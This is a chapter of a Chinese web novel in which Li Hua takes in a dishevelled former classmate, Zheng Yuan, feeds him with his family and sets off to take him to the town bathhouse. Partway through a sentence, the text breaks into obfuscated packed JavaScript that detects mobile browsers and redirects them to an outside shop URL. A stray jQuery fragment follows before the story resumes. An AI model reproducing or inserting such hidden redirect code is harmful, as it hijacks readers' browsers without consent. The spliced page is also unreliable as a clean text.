“晚上烧个稀汤,有昨天买的火烧,我又去超市买了猪头肉,再调个洋葱,炒个白菜豆腐,怎么样啊儿……”李建民的手放在推开的门上,缓慢地眨了眨眼,和正在大口吃火烧的乞丐撞了个正着。
“你。”李建民气不打一处来:“我的火烧!”
他左右看看抄起笤帚,一边追逐一边骂骂咧咧:“妈了个逼的这畜牲怎么进来的,小华?儿子?!”
嘴里叼着火烧的乞丐绕着低矮的茶几跑,李华听到动静连忙从外头的厨房探个头,他正在烧水呢,透过窗户看到里面的情景,大声喊道:“爸!”
李建民一顿,指了指乞丐,眼里的威胁意味明显,他后退几步探个头,看到李华把刚烧开的热水浇进红白花的铁盆里,又蹲下用手探了探,端出来放在靠墙的铁架子上,说:“爸,让他出来洗洗,那是我同学。”
李建民扭头看看,对方手里还抓着火烧,朝他笑了下,露着大白牙,李建民又回头看着李华,表情难解:“这是你同学?”
“对。叫郑源。”李华说:“你让他出来吧,等会儿水凉了。”
“噢,那行,那你快出去吧。”李建民说,嘟嘟囔囔地打量着乞丐,看他和自己擦肩而过,“小华还有这样的同学。”
看这也不像外村的,他怎么没印象。
“在咱家吃饭不?”他又问。
“在。”李华说。
他把毛巾递给郑源,“洗干净擦一擦。”
郑源结结实实地洗了五六次,像是自己也嫌脏,对着有些斑驳的镜子仔细擦了个干净。李华好笑地看着他,人傻了,这爱好的生活习惯还记着。
犹记之前住一起时两个人的步调就不能一致,李华总是换了睡衣刷了牙,洗把脸洗个脚就上床了。郑源是得用什么东西抹在脸上揉揉搓搓二三分钟,再站在镜子前用电子牙刷等个三分钟,最后舒舒服服地将脚泡个十分钟,才换衣服上床睡觉。往往他做完所有工序,李华已经睡着了。
郑源一张白里透亮又透红的小脸蛋看着他,李华微微眯眼,视线定格在他的衣服上,“你还得洗个澡。你怎么把自己弄的这么脏?”
郑源低头看看自己,他主要是看了看自己的脚,那脚上还是一双限量版球鞋,现在已经乌漆麻黑了,往日都踩的地毯,现在不知道都踩到了什么东西,他移回视线,说:“不知道。”
李华掐着腰,说:“家里有木桶,我给你烧水洗吧。虽然一般都去镇上,但是现在晚了,五六点天都黑了。”而且去镇上的澡堂要澡票,澡票得花钱,五块钱一个人,两块钱十个人,这还是小孩儿价,大人得十块钱一个人。他是不可能给郑源花那么多钱的,就只能给他烧水洗了。只是现在的天洗着可能有点冷。他寻思着应该也不会太冷,不生病就行,郑源的身体应该没那么弱。只是他比他低了太多,瘦了太多,没他穿的衣裳,显然他身上这身是不能再穿了,但是给他买,那肯定更不可能,只能,“爸——”
李华拖长了声音,小跑回屋里找李建民,“你之前的衣服呢?”
“干嘛?”李建民说,他正在屋里头挑白菜。
家里没冰箱,蔬菜都放到了家里最阴暗潮湿的角落,试图起到保鲜的作用。
“让我同学穿穿你的衣服。”李华说,从地上捡起一片白菜叶,“这个还没烂那么多。”
李建民说:“他不回家?”
他看眼李华手里的白菜叶,“那都快烂完了。”
李华噢了一声,扔掉了,“他家不是这儿的。”
“那是哪儿的?那得把人送回家啊。”李建民往外瞅了一眼,“那么大个。”
“他说他家里人打他。”李华说。
“为啥打他?”李建民问。
“不知道。”李华说。
“噢。”李建民挑好白菜朝外走,“那你去屋里扒拉扒拉吧,别整乱了,不然你妈回来找事儿。”
李华又去卧室,挑出来一身儿现在穿的放到自己屋,刚出来就看到李建民在用他烧的热水烧稀饭,还没来得及阻止,又看到郑源蹲在地上看鸡,踩了一脚的鸡屎。
李华家是个小院儿,大铁门框着一个院子,两三间平头瓦房,左边是厨房,中间是堂屋,右边是厕所,院子里种了一棵还没长成的柿树,柿树旁边停着一辆能拉货的电三轮,厕所那儿围了个鸡圈。郑源就蹲在鸡圈那儿炯炯有神地看着伸长脖子的鸡。
“这些鸡会下蛋。”李华走过去说,“都是些母鸡。”
他看着郑源的侧脸,说不清是什么滋味,就是莫名觉得新奇,且有意思,他说:“你没见过鸡吗?”
“没有。”郑源摇头,“课本上见到过,商场也见到过,活的,没见过。”
“那你没见过的太多了。”李华说:“村里还有人养羊和牛呢。”
“我见过斗鸡。”郑源又说,是一项较为传统的赌博。
“我没见过。”李华说,他的视线向下,看着郑源的脚,“你踩到鸡屎了你知道吗?”
郑源惊恐,连忙站起来后退好几步,抬脚要看,“这些绿的白的是鸡屎吗?”
“对。不然呢?”李华说,“花吗?”
他看着郑源崩溃的模样笑出声,听到父亲喊他,“给你妈打个电话。”
李建民从厨房露个头,还拿着锅铲,“让她买三块钱的火烧回来。”
李华说:“家里不是还有吗?”
李建民看了眼他身后的郑源,表情一言难尽。
李华回头看他。郑源说:“我太饿了。”
“所以你就把火烧给偷吃了?”李华开口,郑源无辜,“我好几天没吃饭了。”
李华:“……”
他无奈道:“我进屋打电话,你要跟我一起吗?”
郑源跟着他。
两个人进了卧室,李华坐在床上翻着智能机的通讯录,突然说:“郑源,你是装的吧。”
郑源正瞪着大眼观察四周,闻言顿了一下,张嘴没说出话,过了片刻才睁着茫然的双眼看着他,“你说什么啊。”
语气里有浓浓的困惑和不解。
李华站起来看着他,明明比他高,却在审视他,仿佛连一根发丝都要经过重重关卡,他将郑源看的仔仔细细。不是不怀疑,不是不疑问,但他想不明白,如果是装的,为什么要装?又因为什么装?还装成这样。这可是郑源诶,谁都不能惹,不敢给气受的郑源诶。就是因为李华太了解他,才太肯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223228|148065||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
定他,肯定他绝对不会让自己沦落到这幅模样。
应该是真的没错了。
李华长出一口气,说:“没什么,你身上太脏了,哪儿都别坐。”
他拨打母亲的电话,交代了父亲的嘱咐,妈妈又交代着说:“晚上去看戏啊,别忘了,吃完饭咱们就去,不然没好位置坐。”
“好。”李华说,挂了电话才意识到得让郑源赶快洗澡。他一溜烟的跑到厕所,掀开塑料布,从里面拖出来个半人高的木桶,李建民听到动静说:“你现在要洗澡?去镇上洗啊。”
“不是我。”李华说,“爸,热水用完了吗?”
“那肯定啊,那点儿还不够烧汤的,谁洗啊?该不会是你同学吧?”李建民说,“这,这塞不下他啊。”
“努努力能塞下吧。”李华沉思,看眼跟着他出来的郑源,“澡票要五块钱呢。”
“哎呀,又不是掏不起这钱。”李建民从裤兜里摸钱,摸出两张一块的,对上李华的视线,又塞进兜里,“我下午买化肥了,你等你妈回来吧,让她给你。”
李华不死心地看看木桶,又看看郑源,只能喃喃地妥协,说:“好吧。”
郑源的眼神略微幽怨。
李华说:“你看我干嘛。”
郑源说:“五块钱。”
你连五块钱都不愿意为我花。
李华说:“啊。”
他虽然没说完话,李华却能感受到他的心声,淡定坦然地错开他的目光。
“过来端菜。”李建民嚷嚷着,“你妈什么时候回来?”
“下班就回来。”李华小跑着过去,“她说快了。”
王淑芬回来的第一眼也看到了郑源,她先是感慨:“哎呀,这孩子长的,人模人样的。”又看眼他难以直视的衣裳,“怎么搞成这个样子啊?”最后才想起关键,看向李华和李建民,“这是谁呀?”
李华抿了抿唇才向她伸手,“妈,这是我同学,郑源。你有五块钱吗?我想带他去镇上洗澡。”
“有啊。”王淑芬从小背包里的小钱包里掏出五块给他,“什么时候去?这天都快黑了,吃完饭让你爸带着你们去吧。”
“不用。”李华说,“你们先吃吧,镇上也没多远,我骑三轮带他。”
“该吃饭了,哪有那么急。”王建民说,“大不了看戏晚一会儿。”
李华摇头,“不行,得提早去找个好位置,哎呀,你们别管了,没事。我们洗完回来再吃。”
郑源舔了舔唇,望了一眼堂屋茶几上放的几盆菜,猪头肉的香味散发着,他说:“要不然我们……”
“火烧还不够你吃?”李华瞪了他一眼,从李建民手里抓过钥匙,转身向电三轮走去。
郑源看着他瘦弱的身板,突然一个警醒。
不是,什么啊,李华带他吗?用这电三轮?他能行吗?
李华插进钥匙拧开把,看到还站在原地错愕的郑源,潇洒地撇了下头,说:“上车啊,等啥呢?”
郑源咽口唾沫,缓慢地凑过去,坐在他旁边,心有余悸,“你……你行吗……”
“我八岁就骑三轮车了。”李华好笑地看他一眼,潇洒地说,“不过你还是坐稳了。”